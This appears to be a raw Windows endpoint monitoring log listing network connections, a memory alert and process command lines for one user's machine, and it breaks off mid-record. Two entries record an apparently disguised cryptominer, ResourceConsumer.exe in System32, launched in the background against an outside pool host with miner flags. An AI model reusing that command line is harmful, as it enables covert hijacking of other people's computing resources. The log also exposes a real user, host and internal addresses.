  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:64364 -> ::1:3000", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "::1:64364", "remote_address": "::1:3000", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:63748 -> 52.123.135.6:443
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:63748 -> 52.123.135.6:443", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "192.168.150.35:63748", "remote_address": "52.123.135.6:443", "status": "ESTABLISHED", "pid": 16240, "process_name": "ms-teams.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:50263 -> 52.123.129.14:443
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:50263 -> 52.123.129.14:443", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "192.168.150.35:50263", "remote_address": "52.123.129.14:443", "status": "ESTABLISHED", "pid": 11064, "process_name": "msedgewebview2.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:61374 -> 20.50.73.13:443
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:61374 -> 20.50.73.13:443", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "192.168.150.35:61374", "remote_address": "20.50.73.13:443", "status": "ESTABLISHED", "pid": 11064, "process_name": "msedgewebview2.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65014 -> 127.0.0.1:54964
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65014 -> 127.0.0.1:54964", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:65014", "remote_address": "127.0.0.1:54964", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:55889 -> 127.0.0.1:55890
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:55889 -> 127.0.0.1:55890", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:55889", "remote_address": "127.0.0.1:55890", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62930 -> 127.0.0.1:62928
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62930 -> 127.0.0.1:62928", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:62930", "remote_address": "127.0.0.1:62928", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:51772 -> 127.0.0.1:57309
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:51772 -> 127.0.0.1:57309", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:51772", "remote_address": "127.0.0.1:57309", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62931 -> 127.0.0.1:62925
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62931 -> 127.0.0.1:62925", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:62931", "remote_address": "127.0.0.1:62925", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:54407 -> 23.13.53.187:443
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:54407 -> 23.13.53.187:443", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "192.168.150.35:54407", "remote_address": "23.13.53.187:443", "status": "ESTABLISHED", "pid": 8544, "process_name": "EABackgroundService.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56304 -> 127.0.0.1:56305
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56304 -> 127.0.0.1:56305", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:56304", "remote_address": "127.0.0.1:56305", "status": "ESTABLISHED", "pid": 22304, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:51246 -> 142.250.184.131:443
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:51246 -> 142.250.184.131:443", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "192.168.150.35:51246", "remote_address": "142.250.184.131:443", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56240 -> 127.0.0.1:55885
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56240 -> 127.0.0.1:55885", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:56240", "remote_address": "127.0.0.1:55885", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58693 -> 127.0.0.1:58694
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58693 -> 127.0.0.1:58694", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:58693", "remote_address": "127.0.0.1:58694", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:57310 -> 127.0.0.1:57309
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:57310 -> 127.0.0.1:57309", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:57310", "remote_address": "127.0.0.1:57309", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:5173 -> ::1:62871
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:5173 -> ::1:62871", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "::1:5173", "remote_address": "::1:62871", "status": "ESTABLISHED", "pid": 22264, "process_name": "node.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:53894 -> 127.0.0.1:53895
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:53894 -> 127.0.0.1:53895", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:53894", "remote_address": "127.0.0.1:53895", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_id: PERF_HIGH_RAM
event_type: High Memory Usage
message: High RAM usage: 89.3%
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": "PERF_HIGH_RAM", "event_type": "High Memory Usage", "message": "High RAM usage: 89.3%", "timestamp": "2026-01-24T14:28:05.896617", "ram_percent": 89.3}


# computer_processes_current

name: msedge.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags= --jitless --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --time-ticks-at-unix-epoch=-1768651710032406 --launch-time-ticks=435380425162 --skip-read-main-dll --metrics-shmem-handle=8360,i,1130215809092359632,636018016135772822,2097152 --field-trial-handle=2252,i,3615274285255924057,6131553952707020552,262144 --variations-seed-version --trace-process-track-uuid=3190709023793545454 --mojo-platform-channel-handle=4796 /prefetch:15


name: msedge.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --ssd-no-pressure-read-main-dll --metrics-shmem-handle=4312,i,16609750397419283443,8973995307482155118,524288 --field-trial-handle=2252,i,3615274285255924057,6131553952707020552,262144 --variations-seed-version --trace-process-track-uuid=3190709006926792172 --mojo-platform-channel-handle=1572 /prefetch:14


name: msedge.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --time-ticks-at-unix-epoch=-1768651710032406 --launch-time-ticks=435380108224 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=4520,i,2462297245857831230,9412414957109138211,2097152 --field-trial-handle=2252,i,3615274285255924057,6131553952707020552,262144 --variations-seed-version --trace-process-track-uuid=3190709022856503605 --mojo-platform-channel-handle=8784 /prefetch:1


name: ShellExperienceHost.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=260 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=456424833198 --metrics-shmem-handle=14376,i,11034035529573849391,1324796496720446327,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190709229942752234 --mojo-platform-channel-handle=8728 /prefetch:1


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-GB --service-sandbox-type=service --no-pre-read-main-dll --metrics-shmem-handle=1840,i,7993559255613373464,6189639302601257059,524288 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2248 /prefetch:13


name: aimgr.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\aimgr.exe


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\5319275A.WhatsAppDesktop_cv1g1gvanyjgm\LocalCache\EBWebView --webview-exe-name=WhatsApp.Root.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2332,i,7386545522476043636,17857835319567014567,524288 --field-trial-handle=1880,i,5272341228260443182,12246134961819833155,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2352 /prefetch:13 /pfhostedapp:e8f4e4afe9b7050da7c393b06301ca9c6059fb19


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=26005.204.4249.1621 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --skip-read-main-dll --metrics-shmem-handle=5808,i,3115061895357742010,9236312355078603057,524288 --field-trial-handle=1824,i,5611691470619318552,11774421085586259823,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=5892 /prefetch:12 /pfhostedapp:ac017e4cdc34db76e3c857b2a145f76ed6fa99ab


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2068,i,8217033121953320030,11438146778630101722,524288 --field-trial-handle=1908,i,5869944271052099770,5367897988834626600,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2172 /prefetch:11 /pfhostedapp:c8cd49ec972f0ae143ea2dae917ec4adda9b47b2


name: SnippingTool.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2510.31.0_x64__8wekyb3d8bbwe\SnippingTool\SnippingTool.exe ms-screenclip:///?source=HotKey


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=gpu-process --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1704,i,7282114315220800511,9842309524421699699,262144 --field-trial-handle=1908,i,5869944271052099770,5367897988834626600,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1892 /prefetch:2 /pfhostedapp:c8cd49ec972f0ae143ea2dae917ec4adda9b47b2


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=182182760027 --metrics-shmem-handle=5004,i,10399552558471075115,15880301854997312613,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4548 /prefetch:1


name: ai.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exe 6633949C-31FE-4A74-93EC-7F93E5CB3729 D3CF1A1A-610C-42FB-99E3-8D1360FBB559 11884 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE word_fluency_v2.onnxruntime


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=renderer --noerrdialogs --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7171) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.139) --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=SearchHost.exe --webview-exe-version=2125.27506.20.0 --embedded-browser-webview=1 --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--expose-gc --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=289320440059 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=3756,i,5220355399217749399,17393455906247074656,2097152 --field-trial-handle=1812,i,12379866479816053092,17372490871464220070,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3692 /pfhostedapp:fb7dfc4084e3457bc66d0e6ed5b7b87a34a04697 /prefetch:1


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=renderer --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--expose-gc --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1768651713959211 --launch-time-ticks=83654193 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=3812,i,2019181947282953759,10534710608553047809,2097152 --field-trial-handle=1908,i,5869944271052099770,5367897988834626600,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3824 /pfhostedapp:c8cd49ec972f0ae143ea2dae917ec4adda9b47b2 /prefetch:1


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=182188004581 --metrics-shmem-handle=6788,i,16776287785669407059,7290439025933316668,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=6812 /prefetch:1


name: CrossDeviceResume.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\CrossDeviceResume.exe /tileid MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --embedded-browser-webview=1 --webview-exe-name=SearchHost.exe --webview-exe-version=2125.27506.20.0 --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --noerrdialogs --disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --enable-features=msEdgeFluentOverlayScrollbar --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7171) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.139) --lang=en-US --mojo-named-platform-channel-pipe=14500.19656.233837408162368143 /pfhostedapp:fb7dfc4084e3457bc66d0e6ed5b7b87a34a04697


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7171) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.139) --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=SearchHost.exe --webview-exe-version=2125.27506.20.0 --embedded-browser-webview=1 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2440,i,4666118429946427589,15956746266237907862,524288 --field-trial-handle=1812,i,12379866479816053092,17372490871464220070,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2452 /prefetch:13 /pfhostedapp:fb7dfc4084e3457bc66d0e6ed5b7b87a34a04697


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7171) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.139) --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=SearchHost.exe --webview-exe-version=2125.27506.20.0 --embedded-browser-webview=1 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2132,i,10658000361938740925,16277406449383853239,524288 --field-trial-handle=1812,i,12379866479816053092,17372490871464220070,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2140 /prefetch:11 /pfhostedapp:fb7dfc4084e3457bc66d0e6ed5b7b87a34a04697


name: cmd.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  cmd.exe /c %SystemRoot%\System32\ResourceConsumer.exe --url xtrafficjuice.org:8443 --user %USERNAME: =_%_%COMPUTERNAME: =_% --rig-id %USERNAME: =_%_%COMPUTERNAME: =_% --donate-level 1 --cpu-max-threads-hint=90 --pause-on-active=60 --pause-on-battery --background --tls


name: ResourceConsumer.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\WINDOWS\System32\ResourceConsumer.exe --url xtrafficjuice.org:8443 --user milad_IRENA --rig-id milad_IRENA --donate-level 1 --cpu-max-threads-hint=90 --pause-on-active=60 --pause-on-battery --background --tls


name: FnHotkeyCapsLKNumLK.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Windows\System32\DriverStore\FileRepository\lenovofnandfunctionkeys.inf_amd64_e40ba436be734fd2\FnHotkeyCapsLKNumLK.exe


name: msedge.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --time-ticks-at-unix-epoch=-1768651710032406 --launch-time-ticks=275652072517 --skip-read-main-dll --metrics-shmem-handle=7036,i,17481164966507979316,8867037441689778367,2097152 --field-trial-handle=2252,i,3615274285255924057,6131553952707020552,262144 --variations-seed-version --trace-process-track-uuid=3190708998493415531 --mojo-platform-channel-handle=7476 /prefetch:9


name: Widgets.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe -ServerName:Microsoft.Windows.DashboardServer


name: WidgetService.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe -RegisterProcessAsComServer -Embedding


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=253 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=456409341924 --metrics-shmem-handle=6060,i,16150613318886382170,5745146171894237570,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190709223383459291 --mojo-platform-channel-handle=10992 /prefetch:1


name: FnHotkeyUtility.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Windows\System32\DriverStore\FileRepository\lenovofnandfunctionkeys.inf_amd64_e40ba436be734fd2\FnHotkeyUtility.exe


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --ssd-no-pressure-read-main-dll --metrics-shmem-handle=3128,i,173549768111414928,7820917944306332024,524288 --field-trial-handle=1908,i,5869944271052099770,5367897988834626600,262144 --variations-seed-version --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=5536 /prefetch:12 /pfhostedapp:c8cd49ec972f0ae143ea2dae917ec4adda9b47b2


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
